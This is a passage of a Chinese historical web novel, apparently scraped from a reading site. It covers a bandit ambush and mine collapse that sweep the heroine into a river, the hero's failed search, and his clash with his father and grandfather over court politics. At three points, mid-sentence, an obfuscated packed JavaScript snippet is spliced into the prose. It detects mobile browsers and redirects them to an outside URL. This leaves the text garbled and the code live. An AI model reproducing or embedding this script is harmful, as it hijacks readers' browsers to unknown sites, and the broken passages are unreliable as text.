水很快煮沸，他从包袱里翻出纸包的糖，往水里丢了两颗。 二人无言喝完糖水，周身都暖和几分，沈三看了看外头雨势，道：“苏姑娘，下山吧。” 走出寺庙，林中雾气湿冷，头顶茂密的枝叶挡住雨势，只时不时落下几颗水珠，轻轻砸在身上。 沈三将唯一一件油帔给了她，走在前开路。宋云谣跟在他身后，默不作声打量着周遭地势，思绪飞转。 走了约莫一个时辰，雨势渐停，二人在一条急流宽阔的溪水边停下歇脚。 此处在山阴背坡，只生了几颗荒木，站在溪流的大石仰头看，隐约可见山崖上嵌着一个巨大的坑洞，灰白的山石如同白骨般袒露着。 沈三在溪边洗了把脸，又给她递了张干净的帕子，道：“这应当曾是个矿洞。” 宋云谣接过帕子，擦了擦额上的汗珠。 她自然知道这是矿洞。 王攀统管矿税、位高权重，不可能事事亲临，底下总要有人为之奔走。 陈茂良早就盯上了这肥差，四处摸寻门道、企图趋附不说，更是对王攀在浙江的种种行径了若指掌，闲来也会指着舆图说与她听。 其中，平溪如何陷入挖矿脉、耗财力、重矿税、填亏空的陷阱中，又如何被王攀搅得民怨沸腾的种种，她记忆犹新。 只是那时，她心中一半为平溪百姓愤慨，另一半，却是对陈茂良话里的逢迎巴结、精明谋算而心惊。 商人重利。 黄白之物面前，平溪百姓算得了什么？ 一个瘦马又算得了什么？ 现在想来，或许她在那时便已然察觉到了某种即将降临的灾殃。 可她为何却对此视而不见呢？ 宋云谣坐在溪边大石上，又陷入循环往复的谪问中，喘不过气。 沈三仰头看了一会儿那矿洞，目光幽深，叫人看不出情绪。半晌，他回头道：“此地不宜久居，咱们走吧。” 宋云谣如梦初醒，抬头勉强一笑，起身要跨过溪流上的大石，可神思恍惚，脚下一滑，差点落入溪水中。 好在沈三眼疾手快，长臂一伸，牢牢抓住宋云谣的手臂，将她拽到岸边。待她站稳，又迅速收回手，站到一旁。 “冒犯了。”沈三低声说。 膝盖以下落入冰凉的溪水中，宋云谣打了个寒颤，霎时清醒过来。 手臂上还留有沈三的温度，隐隐作痛，她不动声色甩甩手，心底几分诧异。 这沈三虽身姿英挺，却并不魁梧，看着只是寻常书生模样，没想到手劲如此之大。 若真与他起了正面冲突，恐怕胜算不大…… 暗自思忖中，只听他提醒道：“此处水流湍急，是山上几道水流汇集之处，直通山下桐江，若是被冲走，只怕有性命之忧。” 似是察觉自己语气有些严肃，他顿了顿，又温言劝慰：“再翻过前头那座山，便到镇上了，苏姑娘再坚持一二。” 宋云谣点头应是，看了眼身后的那条大溪，心脏一阵狂跳。 要赌一把吗？ 说罢，沈三已经转身向前，宋云谣仍站在原地，频频向溪流下的幽林中张望。 梅雨近半月，水位上升，水流汹涌浑浊，白沫飞溅，其中暗石无数。 若当真落了水，还没被冲下桐江，恐怕就要摔个头破血流了。 踌躇间，前面忽然传来一道粗重的男声，朝他们大喊。 “站住——” 宋云谣回神望去，却见沈三面前站了三个黑衣汉子，手提斧镐，一脸凶相。他们不知从何处钻出，抱胸站作一排，挡住去路。 沈三警惕后退，站到宋云谣身前，将她牢牢挡在背后，平声道：“几位壮士，不知有何贵干？” 那三人甩着手里的铁斧镐头，步步紧逼，口中笑道：“你二人不巧，过了爷爷的路，交了税钱再走吧！” “却不知是何税？” 沈三姿态冷静、不卑不亢，宋云谣却看见他偷偷将手摸向了别在后腰的短刀。 “什么税？睁开你的驴眼看看，上头是朝廷的矿场，交的自然是朝廷的税！” “过山路还要交税，闻所未闻。”沈不器轻讽一声，又问，“敢问壮士姓甚名谁，可是朝廷的人？” “朝廷？爷爷我自然是朝廷的人。” 说话间，他们已经走上前，瞧见了宋云谣的模样，三人对视一眼，脸上露出几分淫邪之色，领头那人笑道：“我竟不知，还是对野鸳鸯！” “怎么，镇上还不够你住的，要将小娘子带到山里来快活？哈哈哈哈——” 此言一出，宋云谣只觉沈三目光一凛，周遭都凌冽几分。 “行了，废话少说，快把税钱交出来！” 只见沈三从腰侧解了荷包，抬手掷了过去。 领头那壮汉接过，在手里掂量掂量，递给旁边瘦猴儿一样的男人。瘦猴儿数了数里头碎银、铜钱，眼睛一转，在壮汉耳畔轻轻说了什么。 “啧。”那壮汉眯眯眼，“几个铜子就想把爷爷打发了，这位公子未免小气，我可听说，你那日去镇上花了有十两纹银都不止啊。” 宋云谣听出端倪，这帮人只怕之前就盯上沈三，眼下不知偶遇还是跟踪，总归要乘机敲上一笔。 而沈三神情淡漠，冷冷道：“我身上只有这么多。” “敢诓老子……”壮汉眉毛一竖，瘦猴儿抢话道：“既然身上没有，你就下山取呗！” “只是要将这女人留下，何时钱……税钱到了，你再把她带走！”其中一个盯了宋云谣许久的男人接话道。 沈三彻底冷下眸子，微微侧身，手彻底握住刀柄。 而那壮汉看出端倪，目光射向沈三藏在身后的手，厉呵一声：“敢和老子耍心眼！给我上！” 话音未落，三人猛然举起铁斧、镐头扑来，沈不器抽出短刀，拽住宋云谣腕子侧身一避，将将躲开迎面砸下的铁斧，反身将短刀刺向那壮汉的后背！ 壮汉痛呼一声，沈三方才拔出刀，另外两人已然扑了过来，他狼狈躲闪，寻机将宋云谣推了出去。 “快跑！” 沈三只留下这句话，持刀便与三人扭打起来。宋云谣被推了个踉跄，心中惊恐万分，下意识拔腿就要往前逃跑！ 可身后刀斧相接、铮鸣声声不断，她仓惶转身，却见他以一敌三，手里不过一把短刀，只能勉力抵抗。 宋云谣心中挣扎，咬紧下唇，四下梭巡几眼，热血上涌，不知哪儿来的气力，抱起路边一块滚石就冲了上前！ 四人扭打在一起，宋云谣趁其不备，将滚石狠狠砸向那瘦猴儿的后背，瘦猴儿遽然受击，猝不及防摔倒在地。 而沈三一个滚身避开凛凛刀风，顺手捡起瘦猴儿滑落在地的铁镐，曲肘反击—— 瘦猴儿很快爬起身，可手中没有凶器，不敢冲进刀斧相斗的三人中，又杀红了眼，浑身杀意无处宣泄，暴呵一声，干脆抬脚踢向宋云谣！ 宋云谣勉强躲开，却又被他扑倒在地，死死压住身体，双手紧紧箍住她的喉咙—— 熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14480932|154264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悉的窒息感铺天盖地涌来，宋云谣拼命挣扎，指甲不停在他手背上抓挠。 不，不能死在这里。 她试图屈膝反击，可不过蚍蜉撼树，转瞬就被压下；另一只手在身侧砂石地上摸索，用力得骨节发白，终于摸到一块锐物。 我不想死！ 宋云谣紧紧盯着身上那人的眼睛，生死之间，那双暴虐凶狠的陌生眼珠逐渐和记忆中的画面重合，她便也循着记忆中那般，高高举起锐物，用力砸向他的后脑—— 说时迟那时快，男人被人狠狠一踢，身子一歪，从她身上跌落。 她手中锐物落了空，脖颈重获自由，她大口喘息、用力咳嗽，眼泪很快模糊了视线。 “快走！” 沈三不知何时冲到了她面前，将她拉拽起来，急声问道：“还能走吗！” 宋云谣神魂未归，沈三直接将她打横抱起，起身向前飞奔。 可还没跑出几步，耳畔一道震天动地的巨响，她终于清醒过来，不可置信地望着眼前的一切—— 矿洞塌了。 横亘在山崖上的灰白石壁，如被刀削斧劈般，整块向下坠落。周围山石不停滚落，沙土奔涌进那条不宽的溪流中，如锅中沸腾的滚水，顷刻间便向外满溢。 眼前一切有如炼狱，宋云谣如遭雷击，眼睁睁看着那泥沙俱下的水流卷走躺在地上惊恐哀嚎的三人，转眼就消失在奔腾的急流之中！ “抱紧我！” 身后泥沙滔滔，她紧紧搂住他的后脖，脸贴在他胸前，杂乱的心跳声中，听见他咬牙坚持的闷哼。 砂石滚流越追越快，不过几息就要追到他们脚下。 沈三剧烈喘息、不敢停歇，刚跨过拦路的巨石，眼前又出现一条宽大的溪流，千钧一发之刻，他躬身护住她的头，纵身跃过水道，可刚落地，岸边泥沙竟陡然坍塌，二人直直栽倒进湍流之中！ “扑通——” 急流汹涌，不过瞬息二人便被冲开，被水流卷向下游。 越到下游，汇集的水流越多，水面越广、水道越深，几乎已被冲进桐江支流。 巨变突发，身体在水道中滚落几下，宋云谣撞得眼前发黑。 可落入水中的她反倒清醒过来，很快破开水面，在湍流中稳住身体，四处张望，终于看见不远处在江水中上下挣扎的沈三。 见他水性不佳，宋云谣心下一沉，奋力朝他游去，很快从身后抓住他的肩膀，架着他的身子，来不及往岸边游去，又被水冲向江中。 如此急流之中，宋云谣实在难以招架，只能寻机抓住一截浮木，二人合力抱住，在滚滚江水中起伏。 “苏……” 沈三一只手紧紧拉住宋云谣的手腕，想说什么，又被江水盖过。 宋云谣偏头看去，却见他紧紧盯着自己，形容狼狈，双眼里是她看不懂的深意。 她不明其意，只能狼狈扯出一个笑，下一瞬，又被一道浪头按进水中。 在江中沉浮约莫一刻钟，终于到了水道拐弯处，水中巨石散落，时不时磕在身体上，却也几次拦住他们怀抱的浮木。 二人都心知眼下时机难得，合力推动浮木，往江边的乱石凸起的地方游去。 终于，浮木被一块石头卡住，宋云谣一手抱住浮木，一手推搡沈三的后背，他总算逆流爬上巨石。 来不及歇口气，他刚要伸手拉起宋云谣，谁知远处又一根浮木飘来，浮木相撞，竟转了方向，推着她向远处飘去！ 而宋云谣反应迅速，立时松开浮木，试图往沈三边游去，可刚游出两个身段，一个浪头遽然打来。 她朝他遥遥看来一眼，转瞬间，身影便消失在滚滚江流之中。 沈不器浑身僵直，死死盯着起伏的江水，以期奇迹发生。 可水面上再未冒出那道身影。 “苏姑娘！” 心中有个声音在高声呼喊，可他张了张口，喉舌像被人掐住，发不出一点声音。 周遭静得只有流水声。 短暂的呆愣后，他来不及多想，纵身跃入江中。 5.死讯 三日后，信安县衙。 四下无人，知县张训独坐堂中，思虑重重。端起茶啄了几口，往日最爱的阳羡茶，此刻在口中也如味同嚼蜡。 原因无他，三日前，平溪镇的矿山塌了。 那日清晨，镇西北山中一声巨响，岩壁崩裂，山洪滔滔，裹挟砂石林木冲入桐江。 一时间，暴雨如注、鸟兽四散，是平溪镇百年未见之景象。 消息传到县衙，知县却不见惊慌，只逐一安排人手确认灾情、上报藩台衙门等事宜。 稳坐厅堂不过半日，当夜，一个中年男人硬生生闯进县衙，拿出名帖腰牌，跪地哭求衙门救他家少爷，沈不器。 听清名字，张知县眼前一黑，险些晕过去。 沈不器是何人？致仕阁臣沈世丰的亲孙，刑部侍郎沈密的三子，当朝最年轻的探花。 塌个荒废三年的矿洞、死一两个乡民他尚且能对付，可沈不器若死在平溪，这事就闹大了！ 他吓得腿软，连夜带人赶去。 许是一路求神告佛起了效，还未到平溪，沈家小厮便已在江边寻到沈不器。 听说他浑身泥水、形容狼狈，不知说了句什么，便力竭昏了过去。 如今人已送回县衙内宅，经大夫诊治，他轻微溺水、又受寒高热，好在底子不错，只要施针开药、将养过来，便无性命之忧。 可两天过去，沈不器仍未醒，小厮砚山已去信京城沈家与绍兴林家。 惶惶之余，他又不禁懊悔，怎么就接了这烫手山芋？ 治好了，自己未必有功，可万一治不好，沈家、林家如何不怨上自己！ 他长叹一声，重重扔下茶盏，在屋里摆踱不停。 焦头烂额之际，门外一串脚步，衙吏上气不接下气：“大人……醒了，醒了！” 闻言，张知县一把推开衙役，匆匆往内宅跑去。 他一路小跑，直到房门前才猛地停步，理了理衣袍。厢房内隐隐传来一道男声，沙哑却急切。 “……找着了吗？” “……小的只顾得及少爷……” 沉默的间隙，他恰时清了清嗓子，一阵脚步声，砚山从里开了门。 进屋绕过屏风，只见榻上沈不器背靠凭几、坐得端正，不似卧病之人。再细看，他面色苍白、难掩病态，反倒为本就清癯如松竹的风姿，平添了几分落拓风流。 见此情景，张知县不禁又暗自感叹：若只看容貌气度，这沈不器确实担得上探花郎之名。 思量间，还不等他开口，沈不器已起身下榻，深深行礼，“知县救命之恩，晚生没齿难忘。” 知县吓了一跳，赶忙将他扶到榻上。 二人寒暄一番，见沈不器姿态诚恳、不摆架子，又主动提起家书里写明了知县对他多有关照，张知县愁眉一展，心底舒爽不少。 祸兮福所倚，谁知眼前这位不是他张训的青云梯呢？ 飘飘然之际，却听沈不器问道：“矿难过去三日，不知眼下平溪镇灾情如何？伤亡者如何？可有幸存者？” 张知县嘴角笑一僵，含糊道：“沈大人不必忧心，衙门已调人平溪，过几日便能送来消息。” 沈不器心下焦躁，却只能耐下性子。 “我身子无碍，只是当日有一位与我同行的姑娘，被江水冲走，还有三位矿工，也被山洪卷走……” 他简要阐明当日情形，盼着从知县口中得到消息、或借些人手，可知县却匆忙打断。 “沈大人恐怕弄错了，这矿场早已关了三年有余，工匠都撤走了，哪儿来的矿工呢？ “况且这矿山上的人家早迁走了，想必伤亡不大。沈大人还是多保重身体，好生休养……” “矿场关了？” 他闻言一怔，还不待追问，张知县又接过话茬，视线飘忽、神情尴尬，几番顾左右而言他，尽是推脱敷衍之意。 沈不器慢慢回过味来，神情也淡了几分。 砚山恰时送药进来，知县顺势寻了个借口，只叫他好生休养，便匆匆离去。 屋内霎时一静，沈不器垂眸望着碗底的药渣，一言不发。他心中愠怒，周身愈发凛然，砚山站在一旁，大气不敢喘。 半晌，他搁下药碗，冷冷道：“收拾行李，让万管事出去雇车，再寻几个水性好的船夫，半个时辰后出发。” 砚山瞠目结舌：“主子，咱、咱去哪儿？” 沈不器盯着他，一字一顿道：“平溪。” 半个时辰后，县衙外车马齐备。沈不器穿戴整齐，拱手行礼作别，带着人马扬长而去，徒留知县站在原地，脸色铁青。 一路车马疾奔，几个时辰便抵达平溪镇。沈不器大病未愈，醒来不过半日，直接带着众人到江边寻人。 随行的船夫皆是身强力壮、熟谙水性之人，拿了不菲的银两，也不多话，当即便撑起舟楫，在桐江上下搜寻起来。 ——即便众人心中都明白，一个柔弱女子被江水冲走三日有余，能寻到尸骨，都算是上苍怜悯了。 江面宽阔，不似那日激浪汹涌，沈不器独立江边，又想起她被江波吞没前，向他投来的最后一眼。 他胸中沉沉，有些喘不过气。 “少爷……”砚山抱来氅衣为他披上，小声劝道，“江边湿冷，您大病未愈，要不小的先送您回镇上歇息？这儿有万管事盯着，一有消息，就给您送去。” “不必。”他简短道。 砚山还想劝几句，身后忽然一阵喧闹，六七个乡民冲了过来。 “贵人！求您救救我儿！”“我给您磕头了，快救救我孙子吧！” 衣衫褴褛的乡民们扑到面前，哭天抢地、跪倒一片。眼前乱作一团，沈不器连忙将人扶起，却发现其中竟有当初他借宿的那对老夫妇。 一问才知，他们儿孙大多在矿场做工，矿山塌后，家里人便下落不明。 好不容易等到官府来人，可衙吏只待了半日便离去。 走投无路之时，见沈不器大张旗鼓进山寻人，才起了念头，想求他帮忙。 乡民们形容狼狈、声泪俱下，可想起张知县先前所言，沈不器眉心微蹙，问道： “我听人说，这矿山已废弃三年，为何还会有工匠？” 果不其然，乡民们目光躲闪，吞吞吐吐半天，追问下终于道出实情。 矿场关停以来，平溪课税愈发沉重，百姓靠家中几亩薄田难以维持生计，要么典妻鬻子、自卖为奴，要么逃往别处、落草为寇。 而他们口中的“工匠”，早已沦为劫匪，在矿山周遭中流窜，借朝廷之名，打劫路过此地、不明真相的外乡人。 沈不器神情凝重，问起那几人的样貌、年纪。不出所料，走失的五人中，就有当日拦路挟持的三人。 望着他们希冀的双眼，沈不器沉默稍许，吩咐道：“万管事，你去镇上再雇些人手来，随他们进山。” 万大忙不迭应是，众人又要哭拜谢恩，沈不器拦住他们，平静开口。 “不必谢我。我虽答应帮诸位寻人，可有些话需说在前头。” 他将当日那三人拦路索要税钱不成、与他在山中打斗、最后被山洪冲走的情形一一说明，众人脸色遽变，两股战战，几欲逃跑。 万大与砚山这才知道此事，当即黑了脸，挡住几人去路。 “人，我会帮你们找。当日之事，我也不会再追究。但能不能找到……” 沈不器一顿，喉中苦涩，仿佛说给自己听，“就看诸位了。” 话毕，万大冷哼一声，带着惊魂未定、战战兢兢的乡民们往镇上去。 而那对老夫妇瘫软在地，满脸冷汗，竟站不起来了。 沈不器走到他们跟前，垂眸望着他们惊惧惨白的面孔。 那两碗腐败变质的素面，当真是无意吗？ 他心底莫名生出一股倦意。 不必再问了。 “走吧。”他低声道。 - 此后几日，桐江上竹筏飘荡，船夫们上游下游来回搜寻，可沈不器没等来苏姑娘的音讯，却等来了他林家表兄，林锦程。 先前沈不器昏迷不醒，砚山手足无措，只能去信绍兴。而林家舅母收到信，当即便晕了过去。 沈不器千里迢迢为老夫人奔丧守孝，若在浙江出了事，林家如何对沈家交代？ 林家上下炸了锅，还在军营练兵的舅舅林承宗，当即便要赶来平溪。 好在沈不器的亲笔书信后脚就送达，只说虚惊一场，自己身体并无大碍，叫舅舅家不必担忧。 即便如此，林承宗仍是不安，非要亲自见过他才放心。 可恰逢倭寇又有异动，林承宗公事在身走不开，只能将此事交给林锦程。 林锦程家中排行第四，只比沈不器大两岁，在浙江都司挂了个闲职，二人性格迥异，关系却亲厚。 他匆匆赶到平溪，本以为会在客栈看见卧榻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林锦程听得头疼，半晌，终于开口。 “官场之事，我没你懂。可有一件事，我比你清醒。” “什么？”沈不器望向他。 “五天了，你当真觉得，还能找到那姑娘？” 沈不器一顿，沉默下去。 林锦程走到他身侧，拍了拍他肩膀。 “三郎，我知道你心中有愧，自觉对不起那姑娘。 “可各人有各人的造化，有些事，强求不得。” 沈不器没有回应。 那日的对话不了了之，京城与绍兴的急信陆续送达，林锦程替他回了信，彻底没了脾气，万事随他去。 半月后，乡民们撑不住了，在矿难发生三七那天，纷纷抱着亲人留在家的衣裳，立了衣冠冢。 而那一日，在桐江西行二十里外的蒲草荡里，船夫捡到一件绵绸短衫。 送来时，短衫已在泥水中泡了几日，脏得不成样子。衣摆有刀割过的痕迹，翻开衣领，里衬绣了个指盖儿大小的“沈”字。 沈不器站在江边，死死盯着短衫，又想起她在江水中的最后一眼。 身后恰有送葬的队伍绕山而过，白衣执绋、纸钱漫天，哭嚎伴着丧乐，漫山喧嚣。 沈不器满心悲凉。 几日后，早已候在平溪渡口的客船升起碇石、解了木爪，朝京城驶去。 风轻雨歇，潮平岸阔，正是好归期。 船到钱塘，沈不器与林锦程分别。林家舅母带着表妹早已等候在岸，确认沈不器安全无虞后，纷纷落了泪。 沈不器早已不见在平溪时的偏执模样，他含笑宽慰舅母与表妹，虽大病初愈，清减不少，却仍是风清月朗、温润如玉。 归期在即，不容他再蹉跎，几人便只在城外设了桌饯别宴。 席上闲聊时，舅母悄悄告诉他，矿监税使王攀前阵子消失多日，舅舅林承宗从衙门打听到消息，似乎是他在游船玩乐时，醉酒失足、跌进江中，断了性命。 沈不器听后，愣怔许久。 这说法漏洞太多，他自然不大相信。 只是比起他扑朔迷离的死因，想起这半月来在平溪的种种，沈不器只觉荒唐。 山中不过半月，他竟也有几分烂柯之感了。 临别时，沈不器避开舅母、表妹，偷偷叫住林锦程。 “四哥，劳你帮我打探个消息。”沈不器顿了顿，“我要找杭州府，一户姓苏的人家。” 6.徒劳 船行数日，终于抵达京城。 沈家人早早在港口等候，一众仆从鞍前马后。马车驶入内城，进了昭回坊。 昭回坊尽是达官显要之所，沈府亦然。 沈家世代书宦，祖上也曾是勋爵人家，世袭三世爵位终了，又出了个科举入仕、官拜内阁的沈世丰。 而今独子沈密刑部任职，三个孙子亦举业有成，外人眼中，沈家是实打实的世代丰荣、长兴之相。 不多时，马车在一座水磨青砖的大宅院前停下。 这宅子早在沈家老祖宗时便御赐下来。后又得了皇帝恩赏，只改了违制之处，并未归公。 府内虽不见金玉奢靡，可陈设古朴、垒块玲珑，处处透着文士雅致之风。 时值傍晚，门廊上点起烛火。 暌违半载，沈不器刚踏入前厅，只见沈父端坐太师椅上，神态威严，面沉如水。仿佛眼前不是家宅，而是他惯常发号施令的刑部衙门。 而沈母林夫人坐在一旁，终于看见儿子，神情难掩激动，想迎上前，可看了眼沈父，又生生忍住。 室内气氛肃然，一众丫鬟婆子默默退出厅堂。 沈不器低眉敛目，上前行礼请安，却听沈父冷冷道： “跪下。” 沈不器二话不说，利落跪地。 “你可知，为何叫你跪？” “天地君亲师，爹娘生养之恩，为人子自然当跪。”说着，沈不器俯身跪拜，“此去数月，叫爹娘担忧挂牵，是孩儿不孝。” “呵。”沈父冷笑一声，“原来探花郎眼里还有我这个爹？” “朝官丁忧，期满需即日回京，家书寄去一封又一封，催你早日归京，你是如何做的？连信都是你林家表兄回的！” 沈父压抑怒气，踱至他跟前。 “朝官丁忧起复何其不易，更莫说官复原职！吏部大可拖你个三年五载，若非看在你祖父的面子、看在沈家的面子，你当真以为翰林院缺你一个七品编修？” 沈不器抿抿唇，闷头说道： “若非祖父与父亲坚持，沈家也不必为我起复之事，非要欠吏部一个情面。” “你的意思，是我与你祖父，不该让你回乡守这个孝？”沈父怒极反笑，“年初朝堂上何等局势，五年前又是何局面，你都忘了？” 沈不器垂眸不语。五年前的种种，他自然记得。 五年前那桩巫蛊案，天子雷霆之怒，血洗东宫。 前太子被废、拘禁宫中至今；詹事府官员或抄家斩首、或罢职流放，无一善终；数百宫人遭杖杀，单单是移尸宫外的车，便足足跑坏了三乘。 此事波及甚广，不少与太子有过往来的外臣都被卷入其中，绕过三司，直接下了诏狱。 其中一人，便是沈不器的老师，李昌唯。 一时间，满朝风雨、人人自危。此后几年，余威仍在。 直至今年年初，几位阁臣忽然上书请命，恳请圣上草立储诏。 而皇帝明面上搁置不谈，却在私下与阁臣面议国事时，破天荒提起废太子年少时曾做过的文章。 皇帝状似无意，可宫里没有傻子，朝中很快响起两种声音。 一方主张巫蛊案本就扑朔迷离、疑云重重，而废太子素有孝名，且为储多年，才干品性有口皆碑。言下之意，昭然若揭。 另一方则直接点破，大齐立国以来，从无废储再立的前例，礼法不可违，更不可擅开先河。 朝中争论纷纭，可巫蛊案毕竟涉及天家父子、神鬼之说，常人不便轻言。 兜兜转转，不知怎的，这把火烧到了沈不器身上。 想当初，李昌唯死在巫蛊案中，又是狱中自尽、以证清白这般颇具“气性”的死法，圣上对其理应心生厌弃。 可不过三载，便御笔钦点沈不器为探花郎——纵使他天赋奇才，可终究是李昌唯门下唯一的学生啊！ 从前众人只当皇帝不计前嫌、礼贤下士，抑或是看重沈家，酌情厚待。 但如今看来，这又何尝不是皇帝对巫蛊案、对废太子，心中另有思量的佐证呢？ 君心难测，沈不器就这样卷入了这场立储之争中。 可沈家能屹立朝中多年，自然深谙审时度势。 沈密很快发现，家中虽三令五申，不许沈不器掺和此事，可他表面听从，却在私下推波助澜，妄图撬动朝廷重启巫蛊案的调查。 得知此事，祖父沈世丰当即逼他往衙门递送折子，自请回乡丁忧，以脱困局。 而今一提起此事，沈密便难掩愠怒，恨铁不成钢。 “我原以为，我与你祖父一番苦心，你多少是明白的。 “立储之争，岂是你能掺和的？这点道理，你还不懂吗？” 沈不器忍不住攥紧手心。 他自然无意搅进立储之争中，可若想还老师清白，又怎能绕过巫蛊案？ “刚把你从朝中摘出来，你倒好，转头就去蹚浙江那摊浑水！” 沈父越说越气，“我问你，浙江官场之事，与你一个翰林编修何干？是你能随便插手的吗？” 提及浙江，沈不器压抑许久的那根弦终于崩断。 “浙江？这二字于父亲而言，便只是官场上的争权夺利、蝇营狗苟么？” 他面无表情抬起头，想起在平溪的种种，连月的失意、沮丧、不甘，瞬间化作一股无名火，灼烧他的理智。 “父亲不在浙江，可我在。矿洞坍塌、山洪爆发，那是何等摧枯拉朽之力，父亲不曾见过，我见过！ “山洪来势汹汹，生龙活虎的汉子，顷刻间就被洪流卷走，连一句呼救都没留下。前一刻才救起我的人，下一刻便被江水冲走，连尸身都无处寻！” 沈不器骤然爆发，沈父一惊，还未开口，又被他高声打断。 “矿难发生三日，从县衙到知府，就打发几个皂吏过来装模作样，半日不到便回衙门交差。 “山下房屋尽数被冲垮，矿工下落不明，百姓哭天喊地、跪地苦求，浙江上下只作视若无睹，连句场面话都懒得说！ “若这便是大人口中的‘浑水’，那这滩‘浑水’，下官还蹚不得吗！” 沈不器牙关紧咬，双眼通红。 “下官不才，可也是自幼读圣贤之书，学君子之道长大；侥幸考中进士，又享朝廷俸禄，受百姓供养。 “下官就算再痴傻愚钝，别的不懂，‘为民’二字，‘恩义’二字，还不懂吗！” 他脊背僵直，可压抑的情绪早已决堤，理智也近乎崩盘，只想将这郁结于心的痛苦，一股脑发泄出来。 “还是大人久居京师，出入皇宫王府、往来高官巨贾，早已忘了在野的百姓，过的究竟是何等日子！” 此话一出，林夫人倒吸一口凉气。 而沈父面色涨红，胸膛剧烈起伏，当即暴呵一声，“当真是反了你了！” 他冲到沈不器面前，高高抬起手，停顿几息，又恨恨放下，怒斥道：“不知天高地厚的东西！” “刚出孝期，便为了个不知从哪来的女子兴师动众、要死要活！连官声都不放在眼里，为官之道，轮得到你这孽障来教训我？ “若非我替你压着，此事早就传到吏部、传到都察院了！若我不是你亲爹，我非要参你一本！” 沈不器猛地抬起头，满眼不可置信，厉声辩驳。 “苏姑娘身世经历何其惨痛，若不是为了救我，也不会落水而亡！如今她尸骨未寒，父亲对我不满，冲我来便是，又何必辱她清白！” 沈父怒目圆瞪，怒不可遏，手指着他，声音直发颤。 “好啊，好啊！这就是我养出的好儿子！不过入仕两载，便负才使气，自以为是，不自量力！” 他气得发抖，往外疾走两步，“来人，来人！拿家法来！” 林夫人早就心急如焚，扑到沈不器跟前，哭劝道，“你怎能说出那样的话，快与你父亲认错！” 说罢，见沈不器不肯服软，林夫人又起身去拉扯沈密，恨恨道：“三郎刚回家，大病初愈，你要敢动手，我便和你不客气！” 沈密面色铁青，一口气顺不下来。 “琼娘，你……！” 门外，丫鬟婆子们也乱做一团，又哭又劝，一时间人仰马翻。 “够了。” 忽然，院中响起一道沉稳老迈的声音，众人霎时一静，让出一条道来。 只见一个白须老者走上前来。他步履稳健，不怒自威，目光转了一圈，落到沈密身上。 “闹成这样，成何体统。” 沈密深吸两口，理了理衣袖，努力平静下来，低声道：“爹，您来了。” 来人便是沈家太老爷，沈世丰。 他微微颔首，越过沉默退避的众人，走进屋中。 “三郎，随我来。” 沈不器此时已冷静下来，无言起身，跟着祖父离开。 绕过院门转角时，他余光看见沈父闭眼坐在椅上，满面疲态。而林夫人站在身侧，弯腰为他按着额角，一言不发。 他垂下眼眸，愧疚涌上心头，满腹苦涩，说不出什么滋味。 一路沉默走到荣安堂，二人在书案前坐下。下人进来奉茶水，沈世丰抿了口茶，才悠悠开口。 “在绍兴的五个月，如何？” 沈不器面不改色，轻描淡写道：“无非是守孝那些事，日子清静。几月下来，倒是同舅舅、舅母与几个表兄都亲近不少。” 沈世丰不置可否，放下茶盏，冷不丁道：“子显的手记，整理得如何？” 子显是李昌唯的表字。 沈不器握着茶盏的手一顿，轻叹一声：“什么都瞒不过您。” 祖父与老师虽性情迥异，却是实打实的多年好友。 沈不器儿时跟在祖父身边长大，三岁能拜在李昌唯门下，除却老师惜才，也有几分与祖父的情谊所在。 只是自李昌唯死后，他的名字，家中也鲜少再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566159|154264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人提起了。 沈不器沉默片刻，又问：“老师在杭州的旧宅，也是您给我递的消息吧。” 沈世丰慢慢站起身，背手踱步至窗前。 “杭州是他的伤心地。” 月影疏疏，映在他浑浊苍老的双眼里。 “那时他心灰意冷，不敢再回杭州，又割舍不下那宅子里的种种，便将地契、钥匙都交予我，让我替他打理。” 沈不器喃喃，“难怪那宅子没被朝廷抄没……” 他默了默，又道，“这么多年，明明您心里也挂念老师。” 沈世丰明白他言下之意，也读出他未尽的怨气，淡淡道：“三郎，你太年轻了。” 他转过身，目光锋利矍铄。 “你连区区一个平溪镇、一个信安知县都左右不了，又怎敢妄想左右一个朝廷？” 这话像凌空扇了他一巴掌，沈不器放在桌下的手不禁攥紧了。 “方才父亲骂得对，是我自以为是、自不量力。” 他满心羞惭，可想起那几条人命，又升起愤懑，“信安知县胆敢如此渎职，不过是背后有王攀撑腰罢了。” 沈世丰静静道：“三郎，这便是朝廷。” “一个七品知县，面对治下百姓的性命，尚且泰山崩于前而色不变。当年那桩巫蛊案里的数百人命，在朝廷眼里，你觉得，又有几人在乎？” “至少我在乎，您也在乎，不是么？” 沈不器紧紧盯着他。 沈世丰却道：“你我的在乎，违逆不了天意。万事若不顺应天时，只会适得其反。” 他不解。 沈世丰沉默片刻，道：“方才宫里传来消息，废太子薨了。” 脑海中一声轰鸣，沈不器如遭雷劈，霎时僵在原地。 “薨，薨了？” 沈世丰没有回答，只是静静看着他的脸色从震惊错愕，变得空白茫然。 他怔怔问：“祖父，这算什么呢？” 废太子薨了。 